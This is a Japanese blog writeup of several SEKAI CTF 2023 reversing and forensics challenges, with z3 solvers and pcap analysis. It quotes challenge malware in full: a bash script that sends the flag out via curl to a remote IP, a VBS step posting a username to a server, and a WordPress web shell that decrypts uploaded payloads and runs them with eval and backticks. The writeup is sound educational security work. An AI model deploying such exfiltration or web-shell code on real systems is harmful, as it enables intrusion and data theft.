All Articles

SEKAI CTF 2023 Writeup

8/26 から開催されていた SEKAI CTF 2023 に 0nePadding で参加していました。

今回の最終順位は 347 位でした。。

実力不足を嘆きつつ、いつものように復習を兼ねて Writeup を書きます。

面白そうな問題がいくつもあったので、解けなかった問題も後でチャレンジしていきたいと思います。

もくじ

Azusawa’s Gacha World(Rev)

色々と著作権的に問題がありそうなのでスクショは貼りませんが、Flag が埋め込まれたソシャゲアプリのコピーを解析する問題でした。

Flag はガチャ排出率が 0 % に設定されている SSR の画像に埋め込まれています。

問題バイナリは Unity で実装されたゲームでしたので、Assembly-CSharp.dll を ILSpy で解析することで処理を解析しました。

参考:How to Reverse Engineer a Unity Game | Kodeco

ただ、実装を追うよりもリソースを抽出してしまう方が早いと考えたため、AssetStudio を使ってゲーム画像を抜き出すことで、Flag を取得できました。

Guardians of the Kernel(Rev)

It’s just a warmup but with another layer which is the kernel.

Attachment

問題バイナリとして与えられたのは bzImage と initramfs.cpio でした。

以下のコマンドでファイルシステムをローカルに展開してみたところ、flag_checker.ko というカーネルドライバのファイルを取得できます。

mkdir root
cd root; cpio -idv < ../initramfs.cpio

これを IDA でデコンパイルしたところ、以下の device_ioctl 関数を取得できました。

__int64 __fastcall device_ioctl(__int64 a1, int a2, __int64 a3)
{
  __int64 result; // rax
  unsigned __int8 *v6; // rax
  int v7; // edx
  int v8; // eax
  unsigned int v9; // eax
  __int64 v10; // rdx

  if ( a2 == 28673 )
  {
    if ( !layers[1] )
      return 0LL;
    if ( !copy_from_user(buffer, a3, 7LL) )
    {
      buffer[7] = 0;
      v6 = buffer;
      while ( (unsigned __int8)(*v6 - 48) <= 9u )
      {
        if ( &buffer[7] == ++v6 )
        {
          v7 = 7 * __ROL4__(1507359807 * __ROR4__(422871738 * *(_DWORD *)buffer, 15), 11);
          v8 = __ROR4__(422871738 * ((buffer[5] << 8) ^ (buffer[6] << 16) ^ buffer[4]), 15);
          v9 = 1984242169
             * ((v7 + 1204333666) ^ (1507359807 * v8) ^ 7 ^ (((v7 + 1204333666) ^ (unsigned int)(1507359807 * v8)) >> 16));
          if ( (((-1817436554 * ((v9 >> 13) ^ v9)) >> 16) ^ (-1817436554 * ((v9 >> 13) ^ v9))) != 261736481 )
            return 0LL;
          return device_ioctl_cold();
        }
      }
      return 0LL;
    }
    return -14LL;
  }
  if ( a2 == 28674 )
  {
    if ( !layers[2] )
      return 0LL;
    v10 = copy_from_user(buffer, a3, 12LL);
    if ( !v10 )
    {
      do
      {
        buffer[v10] += buffer[v10 + 1] * ~(_BYTE)v10;
        ++v10;
      }
      while ( v10 != 12 );
      if ( *(_QWORD *)buffer != 0x788C88B91D88AF0ELL || *(_DWORD *)&buffer[8] != 2113081836 || buffer[12] )
        return 0LL;
      printk(&unk_2EB, a3);
      return 1LL;
    }
    return -14LL;
  }
  if ( a2 != 28672 )
  {
    printk(&unk_302, a3);
    return 0LL;
  }
  if ( copy_from_user(buffer, a3, 6LL) )
    return -14LL;
  if ( *(_DWORD *)buffer != 1095451987 || *(_WORD *)&buffer[4] != 31561 )
    return 0LL;
  printk(&unk_2B6, a3);
  result = 1LL;
  layers[1] = 1;
  return result;
}

コードは大きく 3 つの処理に分割されており、それぞれの処理で Flag の文字列のバリデーションを行っていることがわかります。

まず最初のレイヤです。

if ( a2 != 28672 )
{
    printk(&unk_302, a3);
    return 0LL;
}
if ( copy_from_user(buffer, a3, 6LL) ) return -14LL;
if ( *(_DWORD *)buffer != 1095451987 || *(_WORD *)&buffer[4] != 31561 ) return 0LL;
printk(&unk_2B6, a3);
result = 1LL;

これは見てわかる通りですが、Flag の最初の 6 バイトが SEKAI{ に一致することを示しています。

image-20230828222053906

続いて、以下のレイヤを見ていきます。

if ( a2 == 28674 )
{
if ( !layers[2] )
  return 0LL;
v10 = copy_from_user(buffer, a3, 12LL);
if ( !v10 )
{
  do
  {
    buffer[v10] += buffer[v10 + 1] * ~(_BYTE)v10;
    ++v10;
  }
  while ( v10 != 12 );
  if ( *(_QWORD *)buffer != 0x788C88B91D88AF0ELL || *(_DWORD *)&buffer[8] != 2113081836 || buffer[12] )
    return 0LL;
  printk(&unk_2EB, a3);
  return 1LL;
}
return -14LL;
}

こちらも処理としては非常にシンプルで、Flag の末尾 12 文字分に対して buffer[i] += buffer[i + 1] * ~(_BYTE)i の演算を行った結果が、ハードコードされたバイト値と一致するかを検証しています。

これは、以下の Solver で解くことができました。

from z3 import *
flag = [BitVec(f"flag[{i}]", 8) for i in range(13)]
buf  = [BitVec(f"buf[{i}]", 8) for i in range(13)]

s = Solver()

for i in range(12):
    s.add(And(
        (flag[i] >= 0x21),
        (flag[i] <= 0x7e)
    ))
    s.add(flag[i] != 0)

s.add(flag[12] == 0x00)
s.add(buf[12] == 0x00)

# buffer[i] += buffer[i + 1] * ~(_BYTE)i;
for i in range(12):
    s.add(buf[i] == flag[i] + flag[i+1] * (~i & 0xFF) )

s.add(buf[7] == 0x78)
s.add(buf[6] == 0x8C)
s.add(buf[5] == 0x88)
s.add(buf[4] == 0xB9)
s.add(buf[3] == 0x1D)
s.add(buf[2] == 0x88)
s.add(buf[1] == 0xAF)
s.add(buf[0] == 0x0E)

s.add(buf[11] == 0x7d)
s.add(buf[10] == 0xf3)
s.add(buf[9] == 0x11)
s.add(buf[8] == 0xec)

if s.check() == sat:
    m = s.model()
    for c in flag:
        print(chr(m[c].as_long()),end="")

上記を実行すると Flag の末尾が SEKAIPL@YER} になることがわかります。

最後に、Flag の前半部分のレイヤを見ていきます。

ここは、実装としては読めていたのですが、Solver を上手く書くことができずコンテスト中に解くことができませんでした(カッコを付ける位置がずれていたようです。。)

if ( a2 == 28673 )
{
if ( !layers[1] )
  return 0LL;
if ( !copy_from_user(buffer, a3, 7LL) )
{
  buffer[7] = 0;
  v6 = buffer;
  while ( (unsigned __int8)(*v6 - 48) <= 9u )
  {
    if ( &buffer[7] == ++v6 )
    {
      v7 = 7 * __ROL4__(1507359807 * __ROR4__(422871738 * *(_DWORD *)buffer, 15), 11);
      v8 = __ROR4__(422871738 * ((buffer[5] << 8) ^ (buffer[6] << 16) ^ buffer[4]), 15);
      v9 = 1984242169
         * ((v7 + 1204333666) ^ (1507359807 * v8) ^ 7 ^ (((v7 + 1204333666) ^ (unsigned int)(1507359807 * v8)) >> 16));
      if ( (((-1817436554 * ((v9 >> 13) ^ v9)) >> 16) ^ (-1817436554 * ((v9 >> 13) ^ v9))) != 261736481 )
        return 0LL;
      return device_ioctl_cold();
    }
  }
  return 0LL;
}
return -14LL;
}

実装としては、Flag の前半 7 文字を 4 バイトと 3 バイトに分割して、シフトやローテートシフト、または乗算などの複数の計算を行った結果を比較するものになっています。

# モジュールをインポート
from z3 import *
from pwn import *

# ビットベクトル変数を作成
buf = BitVec("buf", 32)
buf2 = BitVec("buf2", 32)

# ソルバのインスタンスを生成
s = Solver()
s.add(buf2>>24 == 0)
for i in range(4):
    # LShR(>>)
    s.add((LShR(buf,8*i) & 0xFF) >= 0x30)
    s.add((LShR(buf,8*i) & 0xFF) <= 0x39)

for i in range(3):
    # LShR(>>)
    s.add((LShR(buf2,8*i) & 0xFF) >= 0x30)
    s.add((LShR(buf2,8*i) & 0xFF) <= 0x39)

# def ror(a,b): return (LShR(a,b)|(a<<(32-b))) & N # RotateRight
# def rol(a,b): return ror(a,32-b) # RotateLeft

# v7 = 7 * __ROL4__(1507359807 * __ROR4__(422871738 * *(_DWORD *)buffer, 15), 11);
# v8 = __ROR4__(422871738 * ((buffer[5] << 8) ^ (buffer[6] << 16) ^ buffer[4]), 15);
# v9 = 1984242169 * ((v7 + 1204333666) ^ (1507359807 * v8) ^ 7 ^ (((v7 + 1204333666) ^ (unsigned int)(1507359807 * v8)) >> 16));
# if ( (((-1817436554 * ((v9 >> 13) ^ v9)) >> 16) ^ (-1817436554 * ((v9 >> 13) ^ v9))) != 261736481 )

N = 0xFFFFFFFF
a = (422871738 * buf)
a = (1507359807 * RotateRight(a, 15))
v7 = (7 * RotateLeft(a, 11))
b = buf2
v8 = RotateRight((422871738 * b), 15)
v9 = (1984242169 * ((v7 + 1204333666) ^ (1507359807 * v8) ^ 7 ^ LShR((((v7 + 1204333666) ^ (1507359807 * v8))), 16)))
s.add((LShR(((-1817436554 * (LShR(v9, 13) ^ v9))), 16) ^ (-1817436554 * (LShR(v9, 13) ^ v9))) == 0xF99C821)

# 解を探索
if s.check() == sat:
    print(p32(s.model()[buf].as_long()) + p32(s.model()[buf2].as_long()))

# SEKAI{6001337SEKAIPL@YER}

上記の Solver を実行した結果が 6001337 になるため、最終的に正しい Flag が SEKAI{6001337SEKAIPL@YER} になることを特定できました。

Eval_Me(Forensic)

I was trying a beginner CTF challenge and successfully solved it. But it didn’t give me the flag. Luckily I have this network capture. Can you investigate?

一定時間以内に計算問題を解く必要がある問題サーバと pcap が与えられます。

まず、以下の Solver を使用して計算問題を解ききると、extract.sh というファイルを入手するための URL が手に入ります。

from pwn import *
import binascii
import time

p = remote("chals.sekai.team", 9000)

def calc(arr):
    a = int(arr[0])
    b = int(arr[2])
    n = arr[1]
    if n == "+":
        return a+b
    if n == "-":
        return a-b
    if n == "*":
        return a*b
    if n == "/":
        return a/b

print(p.recvline())
print(p.recvline())
print(p.recvline())
print(p.recvline())

i = 0
while (i < 99):
    r = p.recvline()
    print(r)
    r = r.decode().split(" ")
    p.sendline(
        str(calc(r)).encode()
    )
    print(p.recvline())
    i += 1

p.interactive()

extract.sh は以下のようなスクリプトでした。

#!/bin/bash

FLAG=$(cat flag.txt)

KEY='s3k@1_v3ry_w0w'


# Credit: https://gist.github.com/kaloprominat/8b30cda1c163038e587cee3106547a46
Asc() { printf '%d' "'$1"; }


XOREncrypt(){
    local key="$1" DataIn="$2"
    local ptr DataOut val1 val2 val3

    for (( ptr=0; ptr < ${#DataIn}; ptr++ )); do

        val1=$( Asc "${DataIn:$ptr:1}" )
        val2=$( Asc "${key:$(( ptr % ${#key} )):1}" )

        val3=$(( val1 ^ val2 ))

        DataOut+=$(printf '%02x' "$val3")

    done

    for ((i=0;i<${#DataOut};i+=2)); do
    BYTE=${DataOut:$i:2}
    curl -m 0.5 -X POST -H "Content-Type: application/json" -d "{\"data\":\"$BYTE\"}" http://35.196.65.151:30899/ &>/dev/null
    done
}

XOREncrypt $KEY $FLAG

exit 0

ここでは、s3k@1_v3ry_w0w を Key として Flag を XOR 暗号化したバイト値を POST リクエストでどこかのサーバに送信していることがわかります。

この時送信している通信パケットは、問題バイナリの pcap に該当します。

そこで、以下のワンライナーを使用して thark で POST リクエストに含まれるバイト値を全件抽出しました。

tshark -r ./capture.pcapng  -Y "http.request.method == POST" -T fields -e json.value.string | tr '\n' ' '

最後に、以下の Solver で XOR を復号することで Flag を取得できました。

# tshark -r ./capture.pcapng  -Y "http.request.method == POST" -T fields -e json.value.string | tr '\n' ' '
data = "20 76 20 01 78 24 45 45 46 15 00 10 00 28 4b 41 19 32 43 00 4e 41 00 0b 2d 05 42 05 2c 0b 19 32 43 2d 04 41 00 0b 2d 05 42 28 52 12 4a 1f 09 6b 4e 00 0f".split(" ")
data = [int("0x"+ i, 16) for i in data]
key = "s3k@1_v3ry_w0w"

i = 0
for d in data:
    print(
        chr(d ^ ord(key[i % len(key)])), end=""
        )
    i += 1
# SEKAI{3v4l_g0_8rrrr_8rrrrrrr_8rrrrrrrrrrr_!!!_8483}

DEF CON Invitation(Forensic)

As you all know, DEF CON CTF Qualifier 2023 was really competitive and we didn’t make it. Surprisingly, 2 months before the finals in Las Vegas, we received an official invitation from Nautilus Institute to attend the event. Should we accept the invitation and schedule the trip?

問題バイナリとして与えられた eml ファイルに添付された ics ファイルに埋め込まれていた HTML ソースを参照したところ、https://storage.googleapis.com/defcon-nautilus/venue-guide.html という HTML を参照していることがわかります。

この HTML のソースを取得すると、以下のような Javascript が埋め込まれていました。

const ror = (message) => {
  const foo = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
  const bar = "nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM"
  return message.replace(/[a-z]/gi, letter => bar[foo.indexOf(letter)])
}

async function dd(dataurl, fileName) {
  const response = await fetch(dataurl);
  const blob = await response.blob();

  const link = document.createElement("a");
  link.href = URL.createObjectURL(blob);
  link.download = fileName;
  link.click();
}
  
window.onload = function() {
  const downloadButton = document.getElementById("downloadButton");
  downloadButton.onclick = function() {
    dd(ror('uggcf://fgbentr.tbbtyrncvf.pbz/qrspba-anhgvyhf/irahr-znc.cat.iof'), ror('foi.tac.cnz-rhari').split("").reverse().join(""));
  }
};

この処理の難読化を適当に解除すると、venue-map.png.vbs という不正な VBS ファイルを取得できます。

VBS ファイルに WScript.Echo を追加しながら print デバッグを進めてみると、OwOwO(ewkjunfw) で暗号化された画像ファイルである defcon-flag.png.XORed のダウンロードリンクが展開されました。

そしてさらに VBS の処理を読み進めていくと、コードの最後で以下の処理を呼び出すことがわかります。

Dim http: Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
Dim url: url = "http://20.106.250.46/sendUserData"

With http
  Call .Open("POST", url, False)
  Call .SetRequestHeader("Content-Type", "application/json")
  Call .Send("{""username"":""" & strUser & """}")
End With

この通信先に対して適当なユーザ名を入力して POST メソッドを叩くと、Not admin! というメッセージが返却されます。

そこで、ユーザ名を admin にして POST リクエストを発行したところ、02398482aeb7d9fe98bf7dc7cc_ITDWWGMFNY という Key を取得できました。

image-20230828225005968

この Key を使用して以下の Solver を作成し、正しい Flag を取得することができました。

import array

KEY = [ord(c) for c in "02398482aeb7d9fe98bf7dc7cc_ITDWWGMFNY"]

def xor_bytes(in_bytes, key=None):
    if not key:
        key = KEY
    arr = array.array('B', in_bytes)
    for i, val in enumerate(arr):
        cur_key = key[i % len(key)]
        arr[i] = val ^ cur_key
    return bytes(arr)


def xor_file(input_file, output_file=None, key=None):
    with open(input_file, 'rb') as encoded_stream:
        buf = encoded_stream.read()
    buf = xor_bytes(buf, key=key)
    if output_file:
        with open(output_file, 'wb') as decoded_stream:
            decoded_stream.write(bytes(buf))
    return buf

xor_file("defcon-flag.png.XORed", output_file="defcon-flag.png", key=KEY)

image-20230828225326023

Infected(Forensic)

Our systems recently got ransomwared, and we tracked the origin to our web server. We’re not sure how they got access, can you find out?

問題バイナリとして pcap と Wordpress サーバのファイル一式が与えられました。

問題文を読んだ感じ、ランサムの感染経路を特定すればよさそうです。

とりあえず pcap を Wireshark で開いて HTTP リクエストの統計を取ってみたところ、色々と不審なリクエストが着弾していることがわかります。

image-20230830184838040

また、このサーバに対するリクエストは 404 が返却されるものが非常に多かったので、一旦ステータスコードが 200 のパケットのみを抽出します。

image-20230830212957906

GET クエリの一覧を参照したものの、ランサムの感染に直接繋がりそうな情報は見当たりませんでした。

そこで、次は POST メソッドに絞ってパケットを抽出します。

image-20230830213247891

一通りみたところ、明らかに一番下の data.php 宛ての通信で file というデータを POST 送信しており、何かがおかしいことに気づきます。

image-20230830213754268

問題バイナリから data.php を探したところ、以下のような受け取ったデータをファイルとして復号するようなスクリプトでした。

<?php

set_error_handler(function($errno, $errstr, $errfile, $errline) {
    // error was suppressed with the @-operator
    if (0 === error_reporting()) {
        return false;
    }
    
    throw new ErrorException($errstr, 0, $errno, $errfile, $errline);
});

try {
    $ab8a69 = $_FILES['file'];
    $a1721b = fopen($ab8a69['tmp_name'], "r");
    $abdfbe = fread($a1721b,filesize($ab8a69['tmp_name']));
    $ae25f0 = substr($abdfbe, 0, strpos($abdfbe, "..."));
    $aa1090 = substr($abdfbe, strpos($abdfbe, "...") + 3);
    $afd8f0 = "-----BEGIN RSA PRIVATE KEY-----\n".chunk_split(base64_encode($aa1090), 64, "\n")."-----END RSA PRIVATE KEY-----\n";
}
catch (Exception $e) {
    die("");
}

$aa13a9 = "KG2bFhlYm8arwrJfc+xWCYqeoySjgrWnvA9zuVfd/pBwnmC8vAdOTydYKDC0VE10xRTq6+79HX7QgCScYjQ8ogHzkppFN2ifFSBkM1bzWckTl6shvZvp8d7678ZxlPZOhm4q0MtJ7BMFRbZuSKl10o1UDUkwVm7CZfCBQd1NLf0=,OfCbPFExBkpXi5F+SohxpXQLHvICHKF64rUIxVwhR83nMmO0k9Xqjh4+FHMCz0KcFXF5CGR6WUWC+aDqDhJZTgossQ+h1tSEfHpFif87ip0/OEHerOfyfPtQR3E62xUW1++3gm8WB38nkFiP6o1bkIdd9ZYObwQsp0YPlrj6AlA=,MiH8FWh7hHp+Yr2/Kv78WvMItwiwaCiO4DwBTq/IXU99hHUvb8iayOBUzLtr4Xg9wBGzHq73fY266XK+60YboIC15Es1J7vN8XRsUhlxavf8ssVmYDz4gz08+V9Ow+0k39Ef9Ic4NSiN+vbHCyCdFkvFsbfuUbyCHoxZyAjp1Z4=,pjnJiJt4sgRW48wgVIEmygN5+0HJiAVma5JPxQMIcpYqZUBsPkAW6/2wcMjqkZ7wzXdYZy706JV5gGm1F2egrtEtrsfo2V5eVMOsgLmB/ApVYmYsJ0DBl/8npo0JtvKM3dMeOg9LL5v+26QLKOxDRSX74rAYNSw4iPeH5y4SxCQ=,KkU+QkZ1PbLmKmfcLUGxUDMIWTKoYo9YAfiwe5heK1WwbuqoH2ra3WEv3vLCePK6ovlJoybcCeutQNY5AiR5OOuEAS/uM82WBCffE03cxezkkQPWbA43bstduUHgM6afqxPj6YaFI/C2ARQCYOWGMzYLeCdLkuKfvriudv/XnO0=,CtiyfFrf9+p8L2m6js0jmyHt5+1kYjfD0uO2Nggvkv+fZuBfGmN2BWxvD+oUBVA2TXkKQi+pBBlsc+9WWIjnL7ZCyWol9qUOHIwGdN8ab2IKI3Zl5qUwIFQcJHGRVeAjGnEOGM8iU5T1JZjO+QwJB9LTvyh8Ki9SGjqqxnNGT/M=,VszkcW2yR61TdtOSpRlh4DZ05SOlNR0n8rOlzdmnE+3RBarszIVsSg+59Yc7B+8+NqAslN32qBcu0sW5e+Vz3ABxdnIgaMoQcJ5Ku9T2p2UbuZ0j+LYxTrcIqnlc+THi8Do9q+Lml34/woKDOIIkKrjHhVnf6dusxI7Dv7z3oU0=,pIDhg8+nNcqxxClYVaYAGKig3/T0KWWbDm0BWN0M3u8ST0Nw6Am/crxXGMddK8m6qW5oyOvWgiD6XdUy0cfUo3zeXCXo3UYa+hxrTIKj1SS/n4LkzQ6egSRq4XK1fECKApY+8eiLEMOvyixnzD2ohs6FA5R/a12bMx8xzLctTG8=,TwB9lsoQC47npnc0Fy+Gt85zuRkuk8e1kPjogierA3tZiA6zs+6Qc6d9Ri7kfpasekO4dhZsM1W9z0n/zWpq+0Xp5tJ77mpryGPfae3KRSTS0QscQMi/ZhD+Pi6ajL3FoxKI7wfZ7RA0OKGSxhbiNHcD6WEShSbHILkuC7wWVMw=,rq0fb0wiKfJyqd3CCVAmwu3a8EKvgZ9B3K7sct8BoeBG/PKbp8a8AC9AbWPqnjYSIcFNkexdH1lXJrvgLKrC4UaqpMdi+Zqu96oc3695VfN0zspAKZkjEUwU8PA+En7R5qwSMD4QLop+2qZ+Tx1DC7Y2QwvqH7kAxwwloou45zw=,eTJY1cWk0XfO166TYwkvxA+6A6Ee5xXv53PtV7nbblXGx8PlVXUa5DU/dAXzTuyO1Ykkh16t0TKlyF/7X1G2S5z8RPjmyzIwhALHWw+zvWhE5hDf3lhZ1co6L9/Y7nSgKwUuWTsi1ZPqlrJTTlCyE+gNJE4M+Rh8QfJ/YQsWMBM=,BBeqrThbTcuSguT+9V2a5w2zTeL2GG+WZx26DXy0Y/sH8D85PMTk2lsVNs0e+yj06RfAkQuq6LrYVyEC9wB63ovSKxKIY0vZLaqxwZwA8RdzVcoOrx1/+acY1WqgeG8ZJdXCK7DFcRakkAclhZYNwJO+yKvto+ytvbWcKo0eeDI=,i5rXk8yQ4RVFvlY+sKFvlD19qAA8+9qTtzEGHXeSI9O+v2TDAoLJQuNnp+m3WTReKf8WN3sZ4CTpvUpXR0UYbZ1TUSHRyvWTkm+2P6E4DXdRvotwp+HyviELbjTrn0ajilPV3+X3DF1m1MaDo5v03gBIFRxCuDJM3CYk8KFw/kQ=,";
$a4b1af = "";

$af5e94 = explode(",", $aa13a9);
foreach ($af5e94 as $a64500) {
    openssl_private_decrypt(base64_decode($a64500), $a64500, $afd8f0);
    $a4b1af .= $a64500;
}

if ($a4b1af == "") {
    die("");
}
else {
    eval($a4b1af);
}
?>

pcap から抽出した POST データを file.bin として保存してローカルで攻撃を再現します。

# PHPサーバの起動
docker run --net host --rm -it -v `pwd`:/root php bash
php -S 127.0.0.1:8080

# ファイルの送信
curl -X POST -F file=@./file.bin http://localhost:8080/date.php

最後の eval($a4b1af) の値を print デバッグしてみると以下の PHP スクリプトを取得できました。

$pvk1 = "-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQCyYg7DzqjtPGCUT+q38iZcQDqZFC+lIxqo+g1/OhT45AMPtea0
habVZX77whFsQz5zE3fUXLZCzDnZpvtfr4Y8JSzGdL7O0qf3KAQIfk26YQeKOOje
ECNi5zUk3wf+5QUZjXnvDj+BUr78fV57zMpCBe65+mTiBpFkzsNTYo+VxwIDAQAB
AoGBAKyHPrSPer8JOHf525DRudxbmtFXvsU/cJeiUc+Nw57+GR/m1R4gbj3TDsA8
8VD+sLXoTGuux/FPSVyDrnjbcT25akm0FE+KkBZ6dNLFtOq6WQTe3N8HHDHkpqbZ
qXbmuph4MqZlDpKMbEL1cQ81MkgAdPJnljvrjpIoqn5wZ7cRAkEA1+SjeaueSCu4
4VzXTDOMkBqT5rEfJXnT7fN9eM48dXCd1LotWIL/2xcGkC4OdqT0kQiSs4pOQlcn
Lle18qOL5QJBANOFh3aaoGDfH60ecX2MHDnvHz4CSAIInlNXsPpbhWrt7blmGBeA
nuwIiaQOMzvrj084xk3nI8PMIzdgxUFveDsCQA2w1h0VIQh6nVLNTGnsqvFIfjCW
8t6xhxsD4eUTTwozhg7Db7S5Ofhu0V+7S/eCJnA8FvGDx8q1NCrgLQ2iCXECQDl2
cRKbdy5Z7zUMrDA7O//RIl+qJv3GcZyamg2ph1lBQe+3+JuJ6aKdvya+ZNTGbaxL
9DN9s42hi3+j3nKkYbkCQDy68qEICIdcLPFzv/sEN2JS1Cg21lJMH14ao0M3Di9B
G4oDHVBHCRtDGXOviR8AG0VpghDHheonDFaX5O7VXUM=
-----END RSA PRIVATE KEY-----
";
$pbk1 = "-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCyucnknkBP4whz0YJrblke667f
5g4EfCmKcO2j7c+WEOWmbVBRZ/ETtqOIEM8Hp9rV605R1gJBf7tcxziEoX4wxQm5
nfAqXkHUdloGyK7p7IZTh5tX6KnckCtrwbD7EFwjWBBceVHRmnmVdtF4yIkwaD2S
4tw4O5CVYcIlIAAo6QIDAQAB
-----END PUBLIC KEY-----
";
openssl_private_decrypt($ae25f0, $decrypted, $pvk1);
$result = `{$decrypted} 2>&1`;
$encrypted = "";
$chunks = str_split($result, 116);
foreach ($chunks as $chunk) {
    openssl_public_encrypt($chunk, $tmp, $pbk1);
    $encrypted .= base64_encode($tmp).",";
}
echo $encrypted;

これを PHP に埋め込んで $decrypted を print する行を追加してからもう一度 POST リクエストを送ると、以下のように正しい Flag を取得することに成功しました。

image-20230830220836552

まとめ

コンテスト出るたびに実力不足を痛感。

少しずつでも着実にレベルアップできていればいいのだけれど。